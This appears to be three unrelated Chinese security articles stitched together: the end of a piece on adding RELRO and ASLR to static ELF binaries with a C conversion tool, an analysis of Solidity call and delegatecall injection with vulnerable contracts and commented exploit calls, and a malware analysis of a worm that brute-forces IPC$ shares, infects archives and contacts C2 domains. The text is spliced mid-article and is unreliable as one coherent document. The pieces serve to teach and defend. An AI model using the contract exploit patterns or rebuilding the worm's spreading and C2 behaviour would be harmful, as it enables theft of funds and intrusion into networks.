ffffffffff600000 4K r-x-- [ anon ]
total 164K
*** static_to_dyn.c ***
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <elf.h>
#include <sys/types.h>
#include <search.h>
#include <sys/time.h>
#include <fcntl.h>
#include <link.h>
#include <sys/stat.h>
#include <sys/mman.h>
#define HUGE_PAGE 0x200000
int main(int argc, char **argv)
{
ElfW(Ehdr) *ehdr;
ElfW(Phdr) *phdr;
ElfW(Shdr) *shdr;
uint8_t *mem;
int fd;
int i;
struct stat st;
uint64_t old_base; /* original text base */
uint64_t new_data_base; /* new data base */
char *StringTable;
fd = open(argv[1], O_RDWR);
if (fd < 0) {
perror("open");
goto fail;
}
fstat(fd, &st);
mem = mmap(NULL, st.st_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mem == MAP_FAILED ) {
perror("mmap");
goto fail;
}
ehdr = (ElfW(Ehdr) *)mem;
phdr = (ElfW(Phdr) *)&mem[ehdr->e_phoff];
shdr = (ElfW(Shdr) *)&mem[ehdr->e_shoff];
StringTable = (char *)&mem[shdr[ehdr->e_shstrndx].sh_offset];
printf("Marking e_type to ET_DYN\n");
ehdr->e_type = ET_DYN;
printf("Updating PT_LOAD segments to become relocatable from base 0\n");
for (i = 0; i < ehdr->e_phnum; i++) {
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
old_base = phdr[i].p_vaddr;
phdr[i].p_vaddr = 0UL;
phdr[i].p_paddr = 0UL;
phdr[i + 1].p_vaddr = HUGE_PAGE + phdr[i + 1].p_offset;
phdr[i + 1].p_paddr = HUGE_PAGE + phdr[i + 1].p_offset;
} else if (phdr[i].p_type == PT_NOTE) {
phdr[i].p_vaddr = phdr[i].p_offset;
phdr[i].p_paddr = phdr[i].p_offset;
} else if (phdr[i].p_type == PT_TLS) {
phdr[i].p_vaddr = HUGE_PAGE + phdr[i].p_offset;
phdr[i].p_paddr = HUGE_PAGE + phdr[i].p_offset;
new_data_base = phdr[i].p_vaddr;
}
}
/*
* If we don't update the section headers to reflect the new address
* space then GDB and objdump will be broken with this binary.
*/
for (i = 0; i < ehdr->e_shnum; i++) {
if (!(shdr[i].sh_flags & SHF_ALLOC))
continue;
shdr[i].sh_addr = (shdr[i].sh_addr < old_base + HUGE_PAGE) ?
0UL + shdr[i].sh_offset : new_data_base + shdr[i].sh_offset;
printf("Setting %s sh_addr to %#lx\n", &StringTable[shdr[i].sh_name],
shdr[i].sh_addr);
}
printf("Setting new entry point: %#lx\n", ehdr->e_entry - old_base);
ehdr->e_entry = ehdr->e_entry - old_base;
munmap(mem, st.st_size);
exit(0);
fail:
exit(-1);
}
# 6 总结
本文的目的是澄清并帮助揭开周围模糊性的错误概念——静态链接可执行文件中攻击面的内容，以及默认情况下缺少哪些安全缓解措施。RELRO和ASLR不适用于静态链接的可执行文件。但是，在本文中，我们介绍了“RelroS”工具，该工具是在静态链接的可执行文件上启用完整RELRO的原型。我们还创建了一种将编译/链接技术与仪器技术相结合的混合方法，结合我们的RELRO启用，这种解决方案可以用于制作与ASLR一起使用的静态二进制文件。目前，我们的RELRO解决方案仅适用于传统构建的静态二进制文件（例如，-static标志），因为该工具会修补glibc初始化函数。
# 6.1 给读者的课外作业
目前，relros.c和static_to_dyn.c可以单独应用，但不能同时应用;
这是因为static_to_dyn.c不适用于标准的静态链接可执行文件，而relros.c仅适用于标准的静态链接可执行文件。理想情况下，我们需要一个可以在同一个静态链接的可执行文件上应用ASLR和RELRO的工具。完成此操作的一些常规步骤：
1.使用5.4节中的方法创建静态二进制文件。这将-nostdlib标志与使用位置无关代码编译的dietlibc版本相结合.
2.使用现有的static_to_dyn.c源代码将二进制文件转换为ET_DYN，以便可以将ASLR应用于它。
3.修改relros.c，使其适用于我们的静态PIE可执行文件。使用感染技术注入enable_relro()代码，将代码放入常规文本段，以便我们可以使用4.2节中讨论的立即调用指令;
这将使得标准的deinitialization例程在我们的代码之后运行，并且在main()之后在generic_start_main()中运行。
小贴士：
1..got.plt攻击存在于静态链接的可执行文件中
2.RELRO不适用于静态链接的可执行文件
3.ASLR不适用于静态链接的可执行文件
4.本文提供了一些原型解决方案
5.最干净的修复方法是通过gcc/ld工具链代码
本文介绍的自定义软件：<https://github.com/elfmaster/static_binary_mitigations>
# 参考文献：
[1] RELRO - <https://pax.grsecurity.net/docs/vmmirror.txt>
[2] ASLR - <https://pax.grsecurity.net/docs/aslr.txt>
[3] checksec.sh - <https://github.com/slimm609/checksec.sh>
[4] PAGEEXEC - <https://pax.grsecurity.net/docs/pageexec.txt>
[5] RANDEXEC - <https://pax.grsecurity.net/docs/randexec.txt>
[6] static-pie - <https://gcc.gnu.org/ml/gcc/2015-06/msg00008.html>
[7]静态补丁 -[https://gcc.gnu.org/viewcvs/gcc?view=revision&revision=252034](https://gcc.gnu.org/viewcvs/gcc?view=revision&revision=252034)
[8] <https://access.redhat.com/blogs/766093/posts/1975803>
[9] <http://phrack.org/issues/58/4.html>
[10] libelfmaster - <https://github.com/elfmaster/libelfmaster>
[11] Relros / ASLRs - <https://github.com/elfmaster/static_binary_mitigations> | 社区文章 |
作者：0x7F@知道创宇404区块链安全研究团队
时间：2018年6月26日
### 0x00 前言
[Solidity](http://solidity.readthedocs.io/en/v0.4.24/ "Solidity")
是一种用与编写以太坊智能合约的高级语言，语法类似于 JavaScript。Solidity
编写的智能合约可被编译成为字节码在以太坊虚拟机上运行。Solidity
中的合约与面向对象编程语言中的类（Class）非常类似，在一个合约中同样可以声明：状态变量、函数、事件等。同时，一个合约可以调用/继承另外一个合约。
在 Solidity 中提供了 `call`、`delegatecall`、`callcode`
三个函数来实现合约之间相互调用及交互。正是因为这些灵活各种调用，也导致了这些函数被合约开发者“滥用”，甚至“肆无忌惮”提供任意调用“功能”，导致了各种安全漏洞及风险：
2017.7.20，Parity Multisig电子钱包版本 1.5+ 的漏洞被发现，使得攻击者从三个高安全的多重签名合约中[窃取到超过 15 万
ETH](https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7 "窃取到超过 15 万 ETH") ，其事件原因是由于未做限制的 `delegatecall`
函数调用了合约初始化函数导致合约拥有者被修改。
2018.6.16，「隐形人真忙」在先知大会上演讲了[「智能合约消息调用攻防」](https://paper.seebug.org/625/
"「智能合约消息调用攻防」")的议题，其中提到了一种新的攻击场景—— `call` 注⼊，主要介绍了利用对 `call`
调用处理不当，配合一定的应用场景的一种攻击手段。接着于 2018.6.20，`ATN`
代币团队发布[「ATN抵御黑客攻击的报告」](https://paper.seebug.org/621/
"「ATN抵御黑客攻击的报告」")，报告指出黑客利用 `call` 注入攻击漏洞修改合约拥有者，然后给自己发行代币，从而造成 `ATN` 代币增发。
由此本文主要是针对 Solidity 合约调用函数`call`、`delegatecall`、`callcode`
三种调用方式的异同、滥用导致的漏洞模型并结合实际案例进行分析介绍。
### 0x01 Solidity 的三种调用函数
在 Solidity 中，`call` 函数簇可以实现跨合约的函数调用功能，其中包括 `call`、`delegatecall` 和 `callcode`
三种方式。
以下是 Solidity 中 `call` 函数簇的调用模型：
<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)
这些函数提供了灵活的方式与合约进行交互，并且可以接受任何长度、任何类型的参数，其传入的参数会被填充至 32 字节最后拼接为一个字符串序列，由 EVM
解析执行。
在函数调用的过程中， Solidity 中的内置变量 `msg` 会随着调用的发起而改变，`msg`
保存了调用方的信息包括：调用发起的地址，交易金额，被调用函数字符序列等。
**三种调用方式的异同点**
* call: 最常用的调用方式，调用后内置变量 `msg` 的值 **会修改** 为调用者，执行环境为 **被调用者** 的运行环境(合约的 storage)。
* delegatecall: 调用后内置变量 `msg` 的值 **不会修改** 为调用者，但执行环境为 **调用者** 的运行环境。
* callcode: 调用后内置变量 `msg` 的值 **会修改** 为调用者，但执行环境为 **调用者** 的运行环境。
通过下面的例子对比三种调用方式，在 `remix` 部署调试，部署地址为
`0xca35b7d915458ef540ade6068dfe2f44e8fa733c`：
pragma solidity ^0.4.0;
contract A {
address public temp1;
uint256 public temp2;
function three_call(address addr) public {
addr.call(bytes4(keccak256("test()"))); // 1
//addr.delegatecall(bytes4(keccak256("test()"))); // 2
//addr.callcode(bytes4(keccak256("test()"))); // 3
}
}
contract B {
address public temp1;
uint256 public temp2;
function test() public {
temp1 = msg.sender;
temp2 = 100;
}
}
在部署后可以看到合约 A 的变量值： `temp1 = 0x0, temp2 = 0x0`，同样合约 B 的变量值也是： `temp1 = 0x0,
temp2 = 0x0`。
现在调用语句1 `call` 方式，观察变量的值发现合约 A 中变量值为 `0x0`，而 **被调用者** 合约 B 中的 `temp1 =
address(A), temp2 = 100`：
现在调用语句2 `delegatecall` 方式，观察变量的值发现合约 B 中变量值为 `0x0`，而 **调用者** 合约 A 中的 `temp1 =
0xca35b7d915458ef540ade6068dfe2f44e8fa733c, temp2 = 100`：
现在调用语句3 `callcode` 方式，观察变量的值发现合约 B 中变量值为 `0x0`，而 **调用者** 合约 A 中的 `temp1 =
address(A), temp2 = 100`：
### 0x02 delegatecall 「滥用」问题
> delegatecall: 调用后内置变量 `msg` 的值 **不会修改** 为调用者，但执行环境为 **调用者** 的运行环境。
#### 原理
在智能合约的开发过程中，合约的相互调用是经常发生的。开发者为了实现某些功能会调用另一个合约的函数。比如下面的例子，调用一个合约 A 的 `test()`
函数，这是一个正常安全的调用。
function test(uint256 a) public {
// codes
}
function callFunc() public {
<A.address>.delegatecall(bytes4(keccak256("test(uint256)")), 10);
}
但是在实际开发过程中，开发者为了兼顾代码的灵活性，往往会有下面这种写法：
function callFunc(address addr, bytes data) public {
addr.delegatecall(data);
}
这将引起任意 public 函数调用的问题：合约中的 `delegatecall` 的调用地址和调用的字符序列都由用户传入，那么完全可以调用任意地址的函数。
除此之外，由于 `delegatecall`
的执行环境为调用者环境，当调用者和被调用者有相同变量时，如果被调用的函数对变量值进行修改，那么修改的是调用者中的变量。
#### 利用模型
下面的例子中 B 合约是业务逻辑合约，其中存在一个任意地址的 `delegatecall` 调用。
contract B {
address owner;
function callFunc(address addr, bytes data) public {
addr.delegatecall(data);
//address(Attack).delegatecall(bytes4(keccak256("foo()"))); //利用代码示意
}
}
攻击者对应这种合约可以编写一个 Attack 合约，然后精心构造字节序列(将注释部分的攻击代码转换为字节序列)，通过调用合约 B 的
`delegatecall`，最终调用 Attack 合约中的函数，下面是 Attack 合约的例子：
contract Attack {
address owner;
function foo() public {
// any codes
}
}
对于 `delegatecall` 「滥用」的问题，实际的漏洞效果取决于 Attack 合约中的攻击代码，可能造成的安全问题包括：
1. 攻击者编写一个转账的函数，窃取合约 B 的货币
2. 攻击者编写设置合约拥有者的函数，修改合约 B 的拥有者
#### delegatecall 安全问题案例
**Parity MultiSig钱包事件**
2017.7.20，Parity Multisig电子钱包版本 1.5+ 的漏洞被发现，使得攻击者从三个高安全的多重签名合约中窃取到超过 15 万 ETH
，按照当时的 ETH 价格来算，大约为 3000 万美元。
其事件原因是由于未做限制的 `delegatecall` 可以调用 `WalletLibrary`
合约的任意函数，并且其钱包初始化函数未做校验，导致初始化函数可以重复调用。攻击者利用这两个条件，通过 `delegatecall` 调用
`initWallet()` 函数，最终修改了合约拥有者，并将合约中的以太币转到自己的账户下。
下面是存在安全问题的代码片段：
(Github/parity:
<https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol>)
a. delegatecall 调用代码：
(`contract Wallet is WalletEvents`)
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
b. initWallet() 与 initMultiowned() 代码片段：
(`contract WalletLibrary is WalletEvents`)
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
...
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i) {
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
其中钱包初始化函数 `initMultiowned()` 未做校验，可以被多次调用，存在安全隐患，但由于其位于 `WalletLibrary`
合约下，是不能直接调用的。黑客利用 `Wallet` 合约中的 `delegatecall` 调用 `WalletLibrary` 合约的
`initWallet()` 函数，初始化整个钱包，将合约拥有者修改为仅黑客一人，随后进行转账操作。
黑客攻击链：
除了上述 `delegatecall` 滥用的案例，在分析研究的过程中，发现有部分蜜罐合约利用 `delegatecall`
的特性(拷贝目标到自己的运行空间中执行)，在代码中暗藏后门，暗中修改转账地址，导致用户丢失货币。有关 `delegatecall`
蜜罐的详情请参考[「以太坊蜜罐智能合约分析」](https://paper.seebug.org/631/ "「以太坊蜜罐智能合约分析」")，其中的
「4.2 偷梁换柱的地址(访问控制)：firstTest」小节。
### 0x03 call 安全问题
> call: 最常用的调用方式，调用后内置变量 `msg` 的值 **会修改** 为调用者，执行环境为 **被调用者** 的运行环境。
`call` 注入是一种新的攻击场景，由「隐形人真忙」在先知大会上演讲「智能合约消息调用攻防」议题上提出，原因是对 `call`
调用处理不当，配合一定的应用场景的一种攻击手段。
#### call 注入原理
**call 调用修改 msg.sender 值**
通常情况下合约通过 `call` 来执行来相互调用执行，由于 `call` 在相互调用过程中内置变量 `msg`
会随着调用方的改变而改变，这就成为了一个安全隐患，在特定的应用场景下将引发安全问题。
外部用户通过 call 函数再调用合约函数：
**高度自由的 call 调用**
在某些应用场景下，调用函数可以由用户指定；下面是 `call` 函数的调用方式：
<address>.call(function_selector, arg1, arg2, ...)
<address>.call(bytes)
从上面可以看出，`call` 函数拥有极大的自由度：
1. 对于一个指定合约地址的 `call` 调用，可以调用该合约下的任意函数
2. 如果 `call` 调用的合约地址由用户指定，那么可以调用任意合约的任意函数
为了便于理解，可以将智能合约中的 `call` 函数类比为其他语言中的 `eval` 函数，`call`
函数相当于给用户提供了随意调用合约函数的入口，如果合约中有函数以 `msg.sender` 作为关键变量，那么就会引发安全问题。
**call 函数簇调用自动忽略多余参数**
`call` 函数簇在调用函数的过程中，会自动忽略多余的参数，这又额外增加了 `call` 函数簇调用的自由度。下面的例子演示 `call`
自动忽略多余参数：
pragma solidity ^0.4.0;
contract A {
uint256 public aa = 0;
function test(uint256 a) public {
aa = a;
}
function callFunc() public {
this.call(bytes4(keccak256("test(uint256)")), 10, 11, 12);
}
}
例子中 `test()` 函数仅接收一个 `uint256` 的参数，但在 `callFunc()` 中传入了三个参数，由于 `call`
自动忽略多余参数，所以成功调用了 `test()` 函数。
#### call 注入模型
`call` 注入引起的最根本的原因就是 `call` 在调用过程中，会将 `msg.sender` 的值转换为发起调用方的地址，下面的例子描述了
`call` 注入的攻击模型。
contract B {
function info(bytes data){
this.call(data);
//this.call(bytes4(keccak256("secret()"))); //利用代码示意
}
function secret() public{
require(this == msg.sender);
// secret operations
}
}
在合约 B 中存在 `info()` 和 `secret()` 函数，其中 `secret()` 函数只能由合约自己调用，在 `info()`
中有用户可以控制的 `call` 调用，用户精心构造传入的数据(将注释转为字节序列)，即可绕过 `require()` 的限制，成功执行下面的代码。
对于 `call` 注入的问题，实际造成的漏洞影响取决于被调用的函数，那么可能的安全问题包括：
**1.权限绕过**
如同上面的例子，合约将合约本身的地址作为权限认证的条件之一，但由于 `call` 的调用会导致 `msg.sender`
变量值更新为调用方的值，所以就会引起权限绕过的问题。
function callFunc(bytes data) public {
this.call(data);
//this.call(bytes4(keccak256("withdraw(address)")), target); //利用代码示意
}
function withdraw(address addr) public {
require(isAuth(msg.sender));
addr.transfer(this.balance);
}
function isAuth(address src) internal view returns (bool) {
if (src == address(this)) {
return true;
}
else if (src == owner) {
return true;
}
else {
return false;
}
}
上述例子表示了权限绕过导致的任意用户提取货币。，`withdraw()` 函数设计的初衷为只能有合约拥有者和合约本身可以发起取款的操作；但由于 `call`
的问题，只要用户精心拼接字符序列调用 `call`，从而调用 `withdraw()` 函数，就可以绕过 `isAuth()` 并取款。
**2.窃取代币**
在代币合约中，往往会加入一个 `call` 回调函数，用于通知接收方以完成后续的操作。但由于 `call` 调用的特性，用户可以向 `call` 传入
`transfer()` 函数调用，即可窃取合约地址下代币。
下面的例子表示了用户传入 `transfer()` 函数导致窃取代币。
function transfer(address _to, uint256 _value) public {
require(_value <= balances[msg.sender]);
balances[msg.sender] -= _value;
balances[_to] += _value;
}
function callFunc(bytes data) public {
this.call(data);
//this.call(bytes4(keccak256("transfer(address,uint256)")), target, value); //利用代码示意
}
该例子是代币合约的代码片段，用户传入精心构造的字符序列以通过 `call` 来调用 `transfer()` 函数，并传入 `transfer()` 的参数
`_to` 为自己的地址；通过 `call` 调用后， `transfer()` 函数执行时的 `msg.sender` 的值已经是合约地址了，`_to`
地址是用户自己的地址，那么用户就成功窃取了合约地址下的代币。
#### call 注入案例
**1.ATN代币增发**
2018.5.11，ATN 技术人员收到异常监控报告，显示 `ATN Token` 供应量出现异常，通过分析发现 `Token`
合约由于存在漏洞受到攻击。该事件对应了上文中的第一种利用模型，由于 ATN 代币的合约中的疏漏，该事件中 `call`
注入不但绕过了权限认证，同时还可以更新合约拥有者。
在 ATN 项目中使用到了 `ERC223` 和 `ds-auth`
库，两个库在单独使用的情况下没有问题，同时使用时就会出现安全问题，以下是存在安全问题的代码片段。 (Github/ATN:
<https://github.com/ATNIO/atn-contracts>)
a. `ERC223` 标准中的自定义回调函数：
(Github/ERC223: <https://github.com/Dexaran/ERC223-token-standard>)
function transferFrom(address _from, address _to, uint256 _amount, bytes _data, string _custom_fallback) public returns (bool success) {
...
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.call.value(0)(bytes4(keccak256(_custom_fallback)), _from, _amount, _data);
}
...
}
b. `ds-auth` 权限认证和更新合约拥有者函数：
(Github/ds-auth: <https://github.com/dapphub/ds-auth>)
...
function setOwner(address owner_) public auth {
owner = owner_;
emit LogSetOwner(owner);
}
...
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
黑客通过调用 `transferFrom()` 函数，并传入黑客自己的地址作为 `_from` 参数， ATN 合约的地址作为 `_to` 参数，并传入
`setOwner()` 作为回调函数；在执行过程中，由于 `call` 调用自动忽略多余的参数，黑客的地址将作为 `setOwner()`
的参数成功执行到函数内部，与此同时，`call` 调用已经将 `msg.sender` 转换为了合约本身的地址，也就绕过了 `isAuthorized()`
的权限认证，黑客成功将合约的拥有者改为了自己；随后调用 `Mint()` 函数为自己发行代币，最后黑客再次调用 `setOwner()`
将权限还原，企图销毁作案现场。
黑客攻击链：
得力于 ATN 代币团队及时发现问题，并高效的解决问题，此次事件并未对 ATN 代币造成较大的波动；ATN 代币团队封锁了黑客账户，也销毁了由黑客发行的
1100W 个代币，最后在交易所的配合下追踪黑客。
**2.大量代币使用不安全代码**
对于第二种利用模型，在目前公开的智能合约中，仍有不少合约使用这种不安全的代码，为了实现通知接收方以完成后续的操作，加入了一个高度自由的回调函数方法。以下是存在安全隐患的代码片段：
(etherscan:
<https://etherscan.io/address/0xbe803e33c0bbd4b672b97158ce21f80c0b6f3aa6#code>)
...
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(balances[_to] + _value > balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
...
function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(_extraData)) { revert(); }
return true;
}
...
黑客通过调用 `approveAndCallcode()` 函数，将合约地址作为 `_spender` 参数，并将 `transfer()`
的调用转换为字节序列作为 `_extraData` 参数，最终调用 `transfer()` 函数。在 `transfer()` 函数中，`_to`
参数为黑客的地址，而此时 `msg.sender` 的值已经是合约本身的地址了，黑客通过这种方式，成功窃取了合约地址中的代币。
黑客攻击链：
**对于上述所描述的安全问题目前还不能造成直接的经济损失。在对这类智能合约的审计过程中，发现目前大量的代币合约不会使用到合约本身的地址作为存储单元，也就是说
合约地址所对应的代币量为 0 (`balances[address(this)] ==
0`)。但这种不安全的代码很难猜测到在后续的发展中，会引起什么样的问题，应该保持关注并避免这种不安全的代码。**
### 0x04 callcode 安全问题
> callcode: 调用后内置变量 `msg` 的值 **会修改** 为调用者，但执行环境为 **调用者** 的运行环境。
由于 `callcode` 同时包含了 `call` 和 `delegatecall` 的特性，通过上文对 `call` 和 `delegatecall`
的安全问题进行了分析和举例，可以得出的结论是 `call` 和 `delegatecall` 存在的安全问题将同时存在于 `callcode`
中，这里不再进行详细的分析。
### 0x05 总结
目前，区块链技术极高的热度促使该技术不断的投入到了生产环境中，但还没有完整的技术流水线，也没有统一的行业规范，同时 Solidity 语言现在版本为
`0.4.25`，还没有发布第一个正式版本，导致基于区块链技术的产品出现各种安全漏洞，部分漏洞可以直接造成经济损失。
针对文中所提到的安全隐患，这里给开发者几个建议：
1. `call`、`callcode`、`delegatecall`调用的自由度极大，并且 `call` 会发生 `msg` 值的改变，需要谨慎的使用这些底层的函数；同时在使用时，需要对调用的合约地址、可调用的函数做严格的限制。
2. `call` 与 `callcode` 调用会改变 `msg` 的值，会修改 `msg.sender` 为调用者合约的地址，所以在合约中不能轻易将合约本身的地址作为可信地址。
3. `delegatecall` 与 `callcode` 会拷贝目标代码到自己的环境中执行，所以调用的函数应该做严格的限制，避开调用任意函数的隐患。
4. 智能合约在部署前必须通过严格的审计和测试。
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
* * *
References:
[1] Solidity: <http://solidity.readthedocs.io/en/v0.4.24/>
[2] zeppelin: <https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7>
[3] seebug.「智能合约消息调用攻防」: <https://paper.seebug.org/625/>
[4] ATN.IO: <https://paper.seebug.org/621/>
[5] seebug.DAO攻击事件解析: <https://paper.seebug.org/544/>
[6] seebug.智能合约call注入攻击: <https://paper.seebug.org/624/>
[7] Github.ATN: <https://github.com/ATNIO/atn-contracts>
[8] Github.ERC223: <https://github.com/Dexaran/ERC223-token-standard>
[9] Github.ds-auth: <https://github.com/dapphub/ds-auth>
[10]The Parity Wallet Hack Explained: <https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7>
[11]Github.OpenZeppelin: <https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1044>
[12]ethereum.call/callcode/delegatecall:
<https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall>
[13]Github.parity:
<https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol>
[14]《以太坊技术详解与实战》
* * * | 社区文章 |
样本来自52pojie论坛，从事过两年渗透开始学病毒分析后看到IPC$真是再熟悉不过。
1．样本概况
1.1 样本信息
病毒名称：3601.exe
MD5值：96043b8dcc7a977b16a2892c4b38d87f
病毒行为： 自删除，感染压缩包（zip、rar）、释放lpk.dll文件
1.2 测试环境及工具
操作系统：win7 32位
操作工具：火绒剑、OD、IDA、MD5工具
1.3 分析目标
分析此病毒的恶意行为和生成相关文件。
2．具体行为分析
2.1 主要行为
病毒首先使用RegOpenKeyExW函数读取注册表中【HKEY_LOCAL_MACHINE\system\CurrentControlset\services\Ghijkl
Nopqrstu Wxy】
这个键项；如果键项不存在，则创建病毒的系统服务，流程图大体如下：
有【Ghijkl Nopqrstu
Wxy】这个键项的时候，病毒的行为流程图如下：
如果键项存在则进入一个创建服务的函数，做了以下4个步骤：
1、检查互斥体，防止多开；
2、释放、加载资源文件C:\windows\system32\hra33.dll；
3、开启四个线程（IPC$破解、收集主机操作系统与网络信息、CPU字符串和主频率描述）
其中线程A是用于IPC$密码破解，感染同局域网内其他主机。
线程B、线程C、线程D功能一致，连接的域名不一样。
感染模块基本流程
2.1.1 恶意程序对用户造成的危害(图)
在rar、zip、exe中释放一个lpk.dll的文件，运行exe后加载病毒程序图1
感染压缩包
图2 有exe的目录下释放lpk.dll
2.1.2 恶意程序在系统中生成的文件
(1)权限相关()
1.创建服务
图3 创建的服务名
2.生成文件图4
生成的病毒exe
图5 生成的病毒DLL
3.创建注册表
图6 注册表所增加的注册表键值
(2)服务/广播
连接域名
1 sbcq.f3322.org2 www.520123.xyz
3 （加密）www.520520520.org:9426
2.2 恶意代码分析
2.2.1 加固后的恶意代码树结构图
1.使用PEID检查出病毒程序采用upx壳压缩图7
PEID查壳为upx
2.连接域名使用base64加密图8
连接域名为base64加密
2.2.2 恶意程序的代码分析片段
病毒首先使用RegOpenKeyExW函数读取注册表中有没有【HKEY_LOCAL_MACHINE\system\CurrentControlset\services\
Ghijkl Nopqrstu
Wxy】这个键项；图9
判断键项-OD反汇编代码注释
如果没有这个键项的时候则进入一个创建服务的函数，做了以下4个步骤：1、复制自身到C:\windows；2、将【C:\windows\随机文件名.exe】注册服务；3、创建注册表键项；4、删除自身处理；获取当前exe运行路径随机生成一个随机文件名，复制自身到C:\windows目录下，如："C:\Windows\jkfukc.exe"，代码片段如下：
图10
IDA-复制自身到C:\windows
图11
OD反汇编-堆栈窗口-随机生成文件名
将生成的文件作为系统服务对象创建，系统服务名为【Ghijklmn Pqrstuvwx Abcdefg Ijklmnop
Rst】，代码片段如下：图12
IDA伪C代码-创建系统服务
检查病毒是否已经在机器上运行过，创建注册表键项：【HKEY_LOCAL_MACHINE\system\CurrentControlset\services\Ghijkl
Nopqrstu
Wxy】图13
IDA伪C代码-创建注册表键项
病毒运行后会做删除自身的处理，首先获取当前进程路径、文件短路径、CMD.exe路径。用shellexecute()函数删除自身。然后设置进程的执行级别使自身有足够的时间从内存中退出。
图14 IDA伪C代码-删除自身
如果键项存在则进入一个创建服务的函数，做了以下步骤：
1、检查互斥体，防止多开；
2、释放、加载资源文件C:\windows\system32\hra33.dll；
3、开启三个线程（IPC$破解、收集主机操作系统与网络信息、CPU字符串和主频率描述）
检查互斥体Ghijkl Nopqrstu
Wxy是否存在，如果已经存在时退出程序；183对应着宏定义ERROR_ALREADY_EXISTX。然后释放自定义资源，将自定义资源命名为hra33.dll。
图15 检查互斥体与释放自定义资源
释放自定义资源文件hra33.dll 到C:\windows\system32\hra33.dll,改写文件的PE头，让其成为PE文件。代码片段如下:
图16 释放自定义资源，改写PE头为MZ
创建了四个线程，分别命名为线程A、线程B、线程C、线程D。代码片段如下：
图17 创建四个线程
线程A通过IPC$共享用内置的弱口令字典破解感染同局域网内其他主机。将自身复制到其他主机的共享后，使用at(定制计划任务)的方式执行。
图18 IPC$破解
线程B、线程C、线程D功能大体一致，连接的域名不一样。获取操作系统版本号、
CPU字符串和主频描述、内存、网络流量信息创建套接字发送给控制端，然后等待接收控制端发过来的指令，执行相关的操作。
主要功能
1)连接域名
2)获取操作系统版本号、 CPU字符串和主频描述
3)实现功能-（下载文件、更新服务端、打开网页）
线程B 进入回调函数后,首先进入连接域名函数，创建网络套接字后所连接的域名为:sbcq.f3322.org，代码片段如下：
图19 IDA伪c代码-创建网络套接字连接sbcq.f3322.org
当连接域名成功，代码向下执行会调用搜集操作系统信息的函数，加载hra33.dll。
图20 OD反汇编代码-调用搜集操作系统信息函数
使用GetVersionExA()函数获取操作系统版本号、 CPU字符串和主频描述的代码片段如下：
图21 IDA伪C代码-获取操作系统版本号
图22 IDA伪C代码-获取CPU字符串和主频描述
利用Send（）函数发送消息通知控制端已经加载hra33.dll成功，代码片段如下：
图23 IDA伪C代码-加载hra33.dll后发送0XB0给控制端
根据控制端传送过来的命令执行相关的操作。定义了URLDownloadToFileA()、winexec()函数，会下载指定url的文件保存到本地中,初步推断是为了实现下载自定义文件的功能。代码片段如下：
图24 定义UrlDownloadToFileA函数
当接收的参数大于6个字节时，接收到的值等于0x10，从接收到的URL地址处下载文件保存到本地的临时目录，文件名由GetTickCount()函数随机生成，代码片段如下：
图25 接收命令后下载文件
接收到的值等于0x12时候，创建互斥体【Ghijkl Nopqrstu
Wxy】，随机生成文件名。把控制端发送过来的url地址下载保持成本地文件，关闭病毒创建的名称为【Ghijkl Nopqrstu
Wxy】服务，删除注册表【HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ Ghijkl
Nopqrstu Wxy 】键项，删除病毒进程的文件自身。将新的文件重新注册成为系统服务。初步判断这是一个更新自身服务端的功能。代码片段如下：
图26 下载新的病毒文件
图 27 删除原有的服务和注册表
接收到0x14的命令时调用ShellExecute函数将控制端发送过来的控制数据作为IE程序的指定启动参数，打开iexplore.exe进程。
图28 IDA伪C代码-自带IE打开网页
其他参数还接收了0x2、0x3、0x4、0x5,其中0x2/0x4/0x5未发现有实质的操作，接收到0x3的控制指令后，线程的作用是利用文件路径C:\WINDOWS\system32\Program
Files\Internet
Explorer\iexplore.exe下的iexplore.exe程序向网址发送GET形式的Http数据请求包。代码片段如下：
图29 接收命令参数
图30 发送GET形式的Http数据请求包
线程C的功能与线程B大体一致，连接的域名为：
图31 连接域名www.520123.xyz
线程D的连接域名使用了加密函数。
图32 IDA伪C代码-线程D加密函数
